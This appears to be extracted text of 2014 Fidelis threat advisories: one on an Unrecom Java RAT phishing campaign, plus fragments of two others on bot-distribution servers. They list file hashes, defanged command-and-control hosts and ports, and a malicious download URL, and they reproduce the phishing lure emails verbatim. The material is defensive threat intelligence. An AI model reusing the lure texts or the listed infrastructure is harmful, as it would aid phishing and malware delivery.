+@FidSecSys ++1800.652.4020 +Connection: Keep-Alive +The Fidelis Take +It is clear from this paper that there continues to be considerable global activity involving threat actors +attacking the Oil & Gas industry, and State government in the Middle East. We are publishing these +indicators so that others in the security research community can monitor for this activity and potentially +correlate against other campaigns and tools that are being investigated. +Fidelis XPS +, the Advanced Threat Defense solution from General Dynamics Fidelis Cybersecurity +Solutions detects all of the activity documented in this paper. The Fidelis Threat Research Team will +continue to follow this specific activity and actively monitor the ever-evolving threat landscape for the +latest threats to our customers + security. +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1012 +Page 57 of 57 +Rev1.1 2014-02-23 +OPERATION STTEAM +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Fidelis Threat Advisory #1013 +jar: +phishing +campaign +using +Unrecom +May 21, 2014 +Document Status: +Last Revised: 2014-05-21 +Executive Summary +In the past two weeks, we have observed an increase in attack activity against the U.S. state and local +government, technology, advisory services, health, and financial sectors through phishing emails with +what appears to be a remote access trojan (RAT) known as Unrecom. The attack has also been observed +against the financial sector in Saudi Arabia and Russia. +As Unrecom is a comprehensive multi-platform Java-based remote access tool, currently not detected by +most AntiVirus products, it presents a risk to a large number of potential victims, regardless of operating +system. The following is a screenshot of the Unrecom RAT v.2.0 (Version in Spanish): +Over time, various reports in the community have documented the evolution of this tool. This evolution is +to be expected, but its low detection rate, recent use this month through phishing emails campaigns +against multiple sectors in the U.S. and association with past campaigns involving a variety of RATs +captured our attention. The evolution of Unrecom RAT dates from its beginnings as a tool known as +Frutas RAT, subsequently branded as Adwind RAT, and now Unrecom RAT. +In 2013, it was reported that Frutas RAT was used in phishing email campaigns against high profile +companies in Europe and Asia in sectors such as finance, mining, telecom, and government . +Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use. This document +cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Security +Systems, Inc. +While we have done our best to ensure that the material found in this document is accurate, Fidelis Security Systems, Inc. makes no guarantee that +the information contained herein is error free. +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Rev. 2014-05-21 +Threat Advisory #1013 +Page 1 of 16 RAT in a jar: A phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Unrecom RAT provides the attacker with full control over the compromised system, once infected. It has +some of the following capabilities: +Collection of System Information (e.g. IP, OS version, memory RAM information, Java version, +Computer Name, User account compromised, etc.) +Upload & Execute additional malware, typically exploiting vulnerabilities derived from collected +system information +Capture Webcam and Microphone, without user notification +Remote Desktop to watch user activity +File Manager allowing access to files in the context of the current user +Browser Password theft +Keylogging to capture passwords otherwise obscured from viewing +In the past, variants of the DarkComet and AcromRAT malware have also been observed beaconing to +the same Command & Control (CnC) servers used by the Unrecom RAT in this campaign. +This document will provide information about the recent phishing campaigns observed with this RAT and +some of the network indicators. +Threat Overview +The increased threat activity against the U.S. state and local government, technology, advisory services, +and health sectors in the past two weeks is of great concern to us as it is being carried through phishing +emails with what appears to be a tool known as Unrecom RAT. +The phishing emails try to trick the users into thinking the emails are legitimate by attaching the RAT with +the some of the following names: Payment Invoice.jar, Payment details.jar, +POR#94586.zip/POR#94586.jar, INV#94586.zip/INV#94586.jar, Invitation.jar, reports-pdf.jar, US$25k.jar, +and DBC_BANK_IMG_23456_156.jar, and lremit_Transfer_Error_Page.jar. +Some of the email message subjects observed during this campaign are: +Subject: +Thank you +Subject: +FW: URGENT CONFIRMATION P/I #94578 +Subject: +Invitation +Subject: +Payment details +Subject: +Transfer Investigation report +Subject: +US$25,000 TT COPY ATTACHED +Subject: +Remittance Error 2089/234- Reported lost of +data (Complete and email back) +Subject: +Transfer error, kindly reverse to us. +It appears that the latest version of this RAT is 3.2 and is being sold at +unrecom[.]net + for $500 +(Enterprise Version) and $200 (Full Version). +We find it interesting that on their website, the authors of this software recommend Unrecom RAT buyers +to not scan created servers (malware deployed to Victim systems) at Virustotal nor Metascan. This is +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Rev1.1 2014-05-21 +Threat Advisory #1013 +Page 2 of 16 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +indicative of the adaptive, counter-intelligence techniques being adopted as threat actors become aware +that many security researchers use these services to gather threat intelligence. +Significantly, malware objects seen in previous campaigns like DarkComet and ArcomRAT have also +been observed beaconing to the same CnC servers Unrecom RAT is currently using. DarkComet is +known to be a popular RAT used in threat activity in the Middle East . +Risk Assessment +A remote access tool provides an attacker with full control over the victim system. Once a system has +been compromised, the attacker may install one or more backdoors. These backdoors provide a +persistent foothold, using a separate command and control channel; allowing future access less likely to +be correlated to the original activity. +Through its modular plugin framework, this particular tool lets the attacker obtain System Information (e.g. +IP, OS version, memory RAM information, Java version, Computer Name, User account compromised, +etc.), Upload & Execute additional malware, Capture Webcam, Remote Desktop, File Manager, Browser +Password Recovery, Capture Microphone, Keylogger, etc. +Indicators and Mitigation Strategies +The following will present detailed information about some of the phishing emails observed and the +attached malware: +1. Invitation.jar +File Name: +File Size: +MD5: +SHA1: +Invitation.jar +43866 bytes +859c4c667dd0f44f80b60242d93c4b0f +40859bc18ea0ffa9bcf5af699336fbdbfd6be7f1 +The +Invitation.jar + malware was sent in a phishing email that contained some of the following details: +From +Sarah Alexander +Subject +Invitation +Date +Sun, 4 May 2014 08:44:53 GMT +Attachment +Invitation.jar +Reply-To +marvinflames@gmail.com +X-Originating-Ip +87.117.232[.]203 +Message body +Hello, +I cordially invite you to our anniversary +It is a celebration of life and love. +Just like yesterday, we have grown maturely in our +relationship. +We are happy and hope you can join us on our day. +Check attachment for Venue, Dress code, Program event +and Date. +Thank you all. +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Rev1.1 2014-05-21 +Threat Advisory #1013 +Page 3 of 16 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Sarah and Fred +Sunday, May 04, 2014 +The greatest education in the world is watching the +masters at work. +- Michael Jackson +The following is a screenshot of the email: +The +Invitation.jar + malware beaconed to +magnumbiz.no-ip[.]biz + over port +1505 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Rev1.1 2014-05-21 +Threat Advisory #1013 +Page 4 of 16 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +2. Payment details.jar +File Name: +File Size: +MD5: +SHA1: +Payment details.jar +43887 bytes +bd0aba05d8263fb1a9a3adcae01fc3b7 +c60551e65cbe54899d1cd1f637b572455dc33b1b +The +Payment details.jar + malware was sent in a phishing email that contained some of the following +details: +From +Arthur Anderson +Subject +Payment details +Date +Fri, 16 May 2014 12:27:27 +0000 +Attachment +Payment details.jar +Reply-To + +Return-Path +alexanderharolds@arthurandersen[.]com +User-Agent +Internet Messaging Program (IMP) H5 (6.1.4) +Message body +Attn. +Please +find +attached +order +details +payment +coordinates. +kindly +confirm +payment +details +attached +yours +commence +payment. +Thank +Alexander +Harolds +The following is a screenshot of the email: +The +Payment details.jar + malware beaconed to +morechedder.no-ip[.]org + over port +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Rev1.1 2014-05-21 +Threat Advisory #1013 +Page 5 of 16 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +3. reports-pdf.jar +File Name: +File Size: +MD5: +SHA1: +reports-pdf.jar +44237 bytes +39ad2cab9829ff6a1107b97f1496b499 +1e9ab96ace86a45a33c4ff88a97186efb55e51fb +The +reports-pdf.jar + malware was sent in a phishing email that contained some of the following +details: +From +"Police Department" +Subject +Transfer Investigation report +Date +Mon, 05 May 2014 07:34:35 -0700 +Attachment +reports-pdf.jar +Message body +We recieved a report against the attached transaction in your exchange house , +Kindly report to our nearest station immedietly. A copy has been sent to +cso_[removed_by_analyst].com and investigation@policeheadquater[.]com +Police Investigation Department +--- Disclaimer --- The information in this mail is confidential and is intended +solely for addressee. Access to this mail by anyone else is unauthorised. +Copying or further distribution beyond the original recipient may be unlawful. +Any opinion expressed in this mail is that of sender and does not necessarily +reflect that of State Bank group. --- +The following is a screenshot of the email: +The +reports-pdf.jar + malware beaconed to +184.22.201[.]27 + over port +3030 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Rev1.1 2014-05-21 +Threat Advisory #1013 +Page 6 of 16 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +4. US$25k.jar +File Name: +File Size: +MD5: +SHA1: +US$25k.jar +43853 bytes +ccfbc03a5beb1adb66f058b1f5a84d98 +cfd0a4d6535f6323e4423bbd07027d294887ea25 +The +US$25k.jar + malware was sent in a phishing email that contained some of the following details: +From +"Milker Trading Ltd" +Subject +US$25,000 TT COPY ATTACHED +Date +Wed, 14 May 2014 03:28:43 -0500 +Attachment +US$25k.jar +X-Get-Message-Sender-Via\ +authenticated_id +X-AntiAbuse +rbecerra@pauluhn.com[.]mx +User-Agent +SquirrelMail/1.4.22 +Message body +Hello, +Sender Address Domain - pauluhn.com[.]mx +We have not received any email from you again regarding the +previous +Inquiry. Please see attached the TT Copy of the USD25,000 as +directed by our sales Manager. +Kindly check and confirm to me the date of dispatch of our last +order. +Regards +Milker Trading Ltd +Auggenthal 1 +94140 Ering +Mexico. +The +US$25k.jar + malware beaconed to +toba.no-ip[.]biz + over port +1505 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Rev1.1 2014-05-21 +Threat Advisory #1013 +Page 7 of 16 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +5. Payment Invoice.jar +File Name: +File Size: +MD5: +SHA1: +Payment Invoice.jar +44237 bytes +44f011702ff80b337124d4879607f6b1 +b2474bffcbeaabdd111f3909075fc7f556901c62 +The +Payment Invoice.jar + malware was sent in a phishing email that contained some of the following +details: +From +Subject +Date +Attachment +Return-Path +Message +Johnson Kelly +Thank you +Sat, 10 May 2014 10:45:55 -0700 +Payment Invoice.jar +johnsonkelly52@live[.]com +Here is the invoice +The +Payment Invoice.jar + malware beaconed to +greengreen1.no-ip[.]biz + over port +6. INV#94586.jar +File Name: +File Size: +MD5: +SHA1: +INV#94586.jar +43885 bytes +06c2760060d41533b36572ae3c1ba2df +0350f53a821933e05bf82508b1e458c83d37b7c8 +The +INV#94586.jar + malware was sent in a phishing email that contained some of the following +details: +From +Subject +Date +Attachment +Disposition-NotificationTo +Message body +Diosdado +FW: URGENT CONFIRMATION P/I #94578 +11 May 2014 19:10:47 -0700 +INV#94586.zip +sales@ttc-qroup[.]com +Good Day, +Please find the attached document. +Regards, +Diosdado +Procurement Officer +Mobile: +966 54 073 5573 +Tel.: +966 13 341 9915, Ext. 283 +Fax: +966 13 340 4869 +Email: diosdado@lilbello[.]com +P.O Box 11976, Jubail - 31961. SA +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Rev1.1 2014-05-21 +Threat Advisory #1013 +Page 8 of 16 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +The +INV#94586.jar + malware beaconed to +192.95.21[.]44 + over port +1511 +Hold-transactions-pdf.jar, and verification-docx.jar +File Name: +File Size: +MD5: +SHA1: +Hold-transactions-pdf.jar, and verification-docx.jar +44292 bytes +bc84b115d98988c5489d6acf96046b78 +33731d6a7360719566391a7c4395abb090d02d0f +The +Hold-transactions-pdf.jar/verification-docx.jar + malware was sent in a phishing email that +contained some of the following details: +From +"Compliance Verification" +Subject +ComFirm transactions before release +Date +Sun, 18 May 2014 16:31:12 -0700 +Attachment +Hold-transactions-pdf.jar, and verification-docx.jar +Message body +Please +urgently +confirm +attached +transactions +compliance, +sign +send +copy +info@compliance.com +must +come +from +farralescb@alrajhibank.com.sa +Monetary +Compliance +The following is a screenshot of the email: +The +Hold-transactions-pdf.jar/verification-docx.jar + malware beaconed to +184.22.201[.]27 + over port +3030 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Rev1.1 2014-05-21 +Threat Advisory #1013 +Page 9 of 16 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +7. DBC_BANK_IMG_23456_156.jar +File Name: +File Size: +MD5: +SHA1: +DBC_BANK_IMG_23456_156.jar +50508 bytes +fca329c46f50e031597babe07fee46a8 +5c1a2351749c864a38473aafe1146de4eb4de40d +The +DBC_BANK_IMG_23456_156.jar + malware is a corrupted file, but it was sent in a phishing email +that contained some of the following details: +From +"remittance@dbcbank[.]com" + +Subject +Remittance Error 2089/234- Reported lost of data (Complete +and email back) +Date +Tue, 22 Apr 2014 02:19:27 -0400 (EDT) +Attachment +DBC_BANK_IMG_23456_156.jar +X-MB-Message-Source +WebUI +X-mailer +X-Originating-IP +41.138.184[.]85 +Message body +kindly +find +attached +bank +online +java +documents +your +reference,corr=ct +details +marked +boxes +email +back +hesitate +contact +need +regards +Mary +Alidu +Swift +Admin, +Kurdsitan +Int'l +Bank +KIB. +11129- +00400 +Nairobi, +Kenya +www.dubai- +bank.co.ke +email: +mary.alidu@dbcbank.com +remittance@dbcbank.com +Tel: +(+254) +31109 ++254- +2112006 +IMPORTANT: +This +mail +(including +attachments) +intended +solely +for +please +contact +immediately +return +mail +delete +from +your +system. +Please +note +that +sender +shall +liable +improper +Message body +-------- Original Message -------Subject: Transfer error, kindly reverse to us. +Date: Sun, 4 May 2014 00:42:37 -0400 (EDT) +From: swift@ificbankbd.com +To: [removed_by_analyst] +Greetings, +Please kindly refund the attached payment sent to your bank, it +was an application error from our bank. +Your sincere cooperation will be appreciated. +Attached is the proof of transfer Iremit Transfer Error Page +With warm regards +Branch Manager +Head Office +BDBL Building (8th - 10th & 16th - 19th Floor) +8, Rajuk Avenue G.P.O Box + 2229 +Dhaka-1000 Bangladesh +Telephone: 95603820 +Fax: 880-2-95602085 880-2-716344 +Swift: IFIC BD DH +E-mail: swift@ificbankbd.com +---------------------------------------------------------------------The information transmitted, including any content in this +communication is confidential, is intended only for the use of +the intended recipient and is the property of The Western +Union Company or its affiliates and subsidiaries. If you are not +the intended recipient, you are hereby notified that any use of +the information contained in or transmitted with the +communication or dissemination, distribution, or copying of this +communication is strictly prohibited. If you have received this +communication in error, please notify the Western Union +sender immediately by replying to this message and delete the +original message +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1013 +Page 12 of 16 +Rev1.1 2014-05-21 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +The following is a screenshot of the email: +Iremit Transfer Error Page +, in the above email, has a link pointing to +http://radaxis[.]by/images/sola/httpsiremit.com.aui-remit-to-the-philippines-cheapest-remittanceservice-for-pinoy-in-australi.zip +The +lremit_Transfer_Error_Page.jar + malware beaconed to +resultpage92.no-ip[.]biz + over port +5353 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1013 +Page 13 of 16 +Rev1.1 2014-05-21 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Summary of Indicators: +Email +Subject +Filename +File +Hash +Port +Invitation +Invitation.jar +859c4c667dd0f44f80b60242d93c4b0f +magnumbiz.no- +ip[.]biz +1505 +Payment +details +Payment +details.jar +bd0aba05d8263fb1a9a3adcae01fc3b7 +morechedder.no- +ip[.]org +Transfer +Investigation +report +reports- +pdf.jar +39ad2cab9829ff6a1107b97f1496b499 +184.22.201[.]27 +3030 +US$25,000 +COPY +ATTACHED +US$25k.jar +ccfbc03a5beb1adb66f058b1f5a84d98 +toba.no- +ip[.]biz +1505 +Thank +Payment +Invoice.jar +44f011702ff80b337124d4879607f6b1 +greengreen1.no- +ip[.]biz +INV#94586.jar +URGENT +CONFIRMATION +#94578 +06c2760060d41533b36572ae3c1ba2df +192.95.21[.]44 +1511 +ComFirm +transactions +before +release +Hold- +transactions- +pdf.jar +verification- +docx.jar +bc84b115d98988c5489d6acf96046b78 +184.22.201[.]27 +3030 +Remittance +Error +2089/234- +Reported +lost +data +(Complete +email +back) +DBC_BANK_IMG_23456_15 +6.jar +fca329c46f50e031597babe07fee46a8 +Transfer +error, +kindly +reverse +lremit_Transfer_Error_Page +.jar +8811a91e0ef5b181b1f0433d913faaaf +resultpage92.no- +ip[.]biz +5353 +Remittance +Error +2089/234- +Reported +lost +data +(Complete +email +back) +DBC_BANK_IMG_23456_15 +6.jar +8842ce373c910c012a0aa58e37b3d080 +magawalton.no- +ip[.]biz +1505 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1013 +Page 14 of 16 +Rev1.1 2014-05-21 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Further Analysis And Correlation +One simple example of how the emails in this phishing campaign are related is that the Command and +Control node (184.22.201[.]27) that the malware communicates with is shared by two separate phishing +emails in this campaign, as shown in the diagram below. +Beginning at the top of the diagram and working down, on the left side of the diagram are two phishing +emails, the details of which are referenced in the pages above as item numbers 2 & 3. Of note, these +phishing emails were sent to users at two separate and unrelated organizations. As you can see, when +compared to each other, these messages appear completely unrelated, other than the fact they both +contain jar files that are sophomorically +obfuscated + as pdf.jar files. +Note that both the subjects, +Transfer investigation report + and +Confirm transactions before release + are +comparatively unique as are the senders , "Police Department" cmmds@sbt.co[.]in and Arthur Anderson +alexanderharolds@arthurandersen[.]com. In addition to the fact that the emails share no attributes, the +malicious attachments are also unrelated. +Finally, and of most interest in this diagram, the central node at the bottom of the diagram, represents the +Command and Control node (184.22.201[.]27) used by these two examples. While this shared resource +is noteworthy, of particular interest is that it has also been used in other campaigns. +On the right side of the diagram are files used in two other campaigns using the ArcomRAT and +DarkComet , The fact that they share the same command-and-control infrastructure as the UnrecomRat +campaign make this central node all the more interesting. +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1013 +Page 15 of 16 +Rev1.1 2014-05-21 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +The Fidelis Take +This paper seeks to highlight this campaign targeting significant enterprises worldwide, utilizing a Javabased RAT malware that is currently detected by a small set of security tools. We are publishing these +indicators so that others in the security research community can monitor for this activity and potentially +correlate against other campaigns and tools that are being investigated. +Fidelis XPS +, the Advanced Threat Defense solution from General Dynamics Fidelis Cybersecurity +Solutions detects all of the activity documented in this paper. The Fidelis Threat Research Team will +continue to follow this specific activity and actively monitor the ever-evolving threat landscape for the +latest threats to our customers + security. +References +1. Adwind RAT Rebranding, Nov 2013: http://www.crowdstrike.com/blog/adwind-ratrebranding/index.html +2. Targeted Attacks Delivering Fruit, Aug 2013: http://www.symantec.com/connect/blogs/targetedattacks-delivering-fruit +3. Remote Access Tool Takes Aim with Android APK Binder, Jul 2013: +http://www.symantec.com/connect/blogs/remote-access-tool-takes-aim-android-apk-binder +4. Old Java RAT Updates, Includes Litecoin Plugin, Apr 2014: http://blog.trendmicro.com/trendlabssecurity-intelligence/old-java-rat-updates-includes-litecoin-plugin/ +5. Cross-Platform Frutas RAT Builder and Back Door, Feb 2013: +http://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door +6. DarkComet Analysis + Understanding the Trojan used in Syrian Uprising, Mar 2012: +http://resources.infosecinstitute.com/darkcomet-analysis-syria/ +7. DarkComet RAT - It is the END!, Jul 2012: +http://www.symantec.com/connect/blogs/darkcomet-rat-it-end +8. Tsunami Warning Leads to Arcom RAT, Nov 2012 +http://blog.trendmicro.com/trendlabs-security-intelligence/tsunami-warning-leads-to-arcom-rat/ +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1013 +Page 16 of 16 +Rev1.1 2014-05-21 +RAT in a jar: a phishing campaign using Unrecom +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Fidelis Threat Advisory #1014 +Bots, +Machines, +Matrix +Dec 12, 2014 +Document Status: +Last Revised: +2014-12-11 +Executive Summary +In the recent past, a Fidelis XPS user reported seeing detections of what appeared to be botnet-related +malware. While that customer was protected, we at General Dynamics Fidelis Cybersecurity Solutions +decided to take a closer look. The analysis of the malicious code revealed that it appeared to be +Andromeda but the delivery infrastructure looked interesting. Further telemetry from our sensors showed +that this server in China was also hosting and distributing many other malicious specimens. Analysis of +the data revealed a pattern in the filenames. Our analysts used this pattern to discover other systems +distributed across the globe serving up various botnet malware, so far assumed to be used in distinct +campaigns but clearly related in this case: +Andromeda +Beta Bot +Neutrino Bot +NgrBot/DorkBot +Analysis also showed how attackers continue to benefit from the use of globally-distributed hosting +providers to perform their malicious activities. Further, the analysis revealed how attackers are hosting +and distributing identical copies of the malware from servers in different countries including China, +Poland, Russia, and the United States. +For the period of time researched in this activity, we observed the following targeted sectors in the US: +Manufacturing / Biotechnology & Drugs +Professional Services / Engineering +Information Technology / Telecommunications +Government / State +Note that our footprint is largely in the Enterprise space and it is possible that we +re seeing spillover from +wider campaigns. +This document uncovers various servers hosting Bots and other related malware, provides a triage +analysis of various pieces of malware hosted by these malicious servers, and provides indicators that +network defenders can use to protect their networks. +Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use. This document +cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Security +Systems, Inc. +While we have done our best to ensure that the material found in this document is accurate, Fidelis Security Systems, Inc. makes no guarantee that +the information contained herein is error free. +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 1 of 16 +Rev. 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Threat Overview +The threat activity observed in the past weeks against various targets in our customer base has shown +patterns that allowed us to discover multiple servers hosting and distributing malicious software (Bots). +As it is known by the network defenders and the security community, it is important to defend against +these attacks since systems infected with these malicious specimens could be used for credential theft, +Distributed Denial of Service Attacks, spreading malware, lateral propagation, etc. This is of great concern +as the first stage attack continues to bypass network security defenses infecting user +s computers that +beacon to malicious servers to download or create the second stage malware into the victim systems. +Some of the main Bot types of malware detected through this research include: +Andromeda +Andromeda is a modular bot that downloads modules and updates from its command and control +(C&C) server during execution. The malware has both anti-VM and anti-reversing features. Its +code is obfuscated to make it more difficult for malware reverse engineers to analyze and +antivirus tools to detect. +Andromeda bot features include: self-propagation, injection into trusted processes to hide itself, +network traffic encryption, download and installation of files/malware, form grabber, keylogger, +ring3 rootkit, proxy, etc. Features like form grabber, rootkit, and proxy are delivered to the +malware in the form of modules that are then loaded into the victim system after the malware +makes a connection with its C&C. It appears that in 2012, some of the modules were sold for +$500 (form grabber), $300 (Ring3 rootkit), and $200 (keylogger). +DorkBot/NgrBot +DorkBot is a modified IRCBot that is very similar in features to NgrBot. DorkBot has a loader and +a module. The bot includes the following features: process injection, hard drive wiping, etc. +Different from NgrBot, DorkBot uses modified IRC commands. Some of the commands supported +include: !die, !dl, !http.inj, !logins, !rc,!speed, !ssyn, !stop, !up, and !udp. +NgrBot can also be remotely controlled via Internet-Relay-Chat (IRC) protocol. It has capabilities +to join different IRC channels to perform various attacks according to the IRC-based commands +from the C&C server. Its code is obfuscated to make it more difficult for malware reverse +engineers to analyze and antivirus tools to detect. +NgrBot features include: self-propagation (e.g. through USB removable drives, social networking +sites, and messaging clients), process injection, hard drive wiping, blocking access to multiple +antivirus/security vendor websites, denial of service attacks, credentials stealing (usernames and +passwords), download and execute file, etc. Some of the commands supported are: ~pu, ~dw, +~http.inj, ~logins, ~rc, ~speed, ~ssyn, ~stop, and ~udp. +Beta Bot +It is said that Beta bot started out as an HTTP bot. The Bot is also known by some security +vendors as +Trojan.Neurevt +. Its code is obfuscated to make it more difficult for malware reverse +engineers to analyze and antivirus tools to detect. +Beta bot features include: anti-VM and anti-reversing, self-propagation, rootkit, process injection, +blocking access to multiple antivirus/security vendor websites, AV-disabling, form grabbing, +download and execution of files, termination of competing malware communications by +terminating their processes or blocking their code injections, and denial of service. It appears that +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 2 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +in May 2013, the pre-built bot could be purchase for $320-$500, and $20 for variant rebuilds for +those requiring configuration changes. According to online research, Beta Bot sales are being +handled by +Lord Huron, + although +betamonkey + appears to be the author. The following image +was found during online research: +Neutrino +The Neutrino bot was advertised as an HTTP stress-testing tool. It has some of the following +features: anti-VM and anti-reversing/debugging, denial of service (HTTP/TCP/UDP flood), +keylogger, command shell, credential stealing, self-spreading, etc. It appears at some point the +bot was sold for $550 (Builder), $200 (Full set including Bot and Admin Panel), and $20 (Update). +Online research revealed the following contact information for this bot: n3utrino@kaddafi[.]me / +n3utrino@xmpp[.]jp / n3utrino.blog[.]com. The following images were found during online +research: +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 3 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +The following table provides information about some of the servers hosting and distributing malware and +some of the filename patterns discovered: +Last +Observed +December +2014 +December +2014 +December +2014 +November +2014 +November +2014 +November +2014 +121.11.83[.]7 +Location +China +Filename +Pattern +and[2_digits][single +character][2_digits].exe +bet[2_digits][single +character][2_digits].exe +ng[2_digits][single +character][2_digits].exe +nut[2_digits][single +character][2_digits].exe +155.133.18[.]45 +Poland + bet[2_digits][single +character][2_digits].exe +bnew[2_digits][single +character][2_digits].exe +ng[2_digits][single +character][2_digits].exe +nut[2_digits][single +character][2_digits].exe +[3_digits][single +character][1_digit].exe +[2_digits][single +character][1_digit].exe +54.69.90[.]62 +and[2_digits][single +character][2_digits].exe +(Amazon) + bet[2_digits][single +character][2_digits].exe +bnew[2_digits][single +character][2_digits].exe +dq[2_digits][single +character][2_digits].exe +dqnew[2_digits][single +character][2_digits].exe +ng[2_digits][single +character][2_digits].exe +nut[2_digits][single +character][2_digits].exe +117.21.191[.]47 +China +and[2_digits][single +character][2_digits].exe +and[single +character][1_digit].exe +bet[2_digits][single +character][2_digits].exe +bet[1_or_2_digits].exe +bet[single +character][1_digit].exe +ng[2_digits][single +character][2_digits].exe +nut[2_digits][single +character][2_digits].exe +121.14.212[.]184 +China +and[2_digits][single +character][2_digits].exe +and[2_digits].exe +and[2_digits][single +character].exe +bet[2_digits][single +character][2_digits].exe +bet[2_digits].exe +ng[2_digits][single +character][2_digits].exe +ng[2_digits].exe +nut[2_digits][single +character][2_digits].exe +nut[2_digits].exe +nut[2_digits][single +character].exe +zpm[2_digits][single +character].exe +155.133.18[.]44 +Poland + 3307[2_digits][single +character][2_digits].exe +and[2_digits][single +character][2_digits].exe +bet[2_digits][single +character][2_digits].exe +bnew[2_digits][single +character][2_digits].exe +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 4 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +November +2014 +November +2014 +November +2014 +October +2014 +October +2014 +October +2014 +54.68.121[.]73 +and[2_digits][single +character][2_digits].exe +(Amazon) + bet[2_digits][single +character][2_digits].exe +bnew[2_digits][single +character][2_digits].exe +ng[2_digits][single +character][2_digits].exe +nut[2_digits][single +character][2_digits].exe +54.68.194[.]154 +and[2_digits][single +character][2_digits].exe +(Amazon) + bet[2_digits][single +character][2_digits].exe +ng[2_digits][single +character][2_digits].exe +nut[2_digits][single +character][2_digits].exe +54.69.90[.]62 +3307[2_digits][single +character][2_digits].exe +(Amazon) + and[2_digits][single +character][2_digits].exe +bet[2_digits][single +character][2_digits].exe +bnew[2_digits][single +character][2_digits].exe +ng[2_digits][single +character][2_digits].exe +119.1.109[.]44 +China +and[2_digits][single +character][2_digits].exe +and[2_digits].exe +bet[2_digits][single +character].exe +bet[2_digits].exe +ng[2_digits][single +character][2_digits].exe +nut[2_digits].exe +158.255.1[.]241 +Russia +and[2_digits].exe +ng[2_digits]exe +nut[2_digits][single +character][2_digits].exe +nut[2_digits].exe +54.191.142[.]124 +bnew[2_digits].exe +(Amazon) + ng[2_digits].exe +nut[2_digits].exe +zpm[2_digits].exe +The following table provides information about the relationship between the malicious servers, detection +names by antivirus tools, and vertical market affected (based on unique hashes and detections): +121.11.83[.]7 +Location +China +Generic +detection +Worm.Win32.Ngrbot +Worm.Win32.Dorkbot +Vertical +Market/Specialization +Professional +Services/Engineering +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 5 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Backdoor.Win32.Ruskill +Trojan.Win32.Yakes +Trojan.Win32.Munchies +155.133.18[.]45 +Poland + Backdoor.Win32.Androm +Trojan.Win32.Lethic +Trojan.Win32.Inject +Trojan.Win32.Munchies +Trojan.Win32.Yakes +54.69.90[.]62 +Backdoor.Win32.Androm +(Amazon) + Worm.Win32.Ngrbot +Worm.Win32.Dorkbot +Backdoor.Win32.Ruskill +Trojan.Win32.Lethic +Trojan.Win32.Yakes +Trojan.Win32.Munchies +117.21.191[.]47 +China 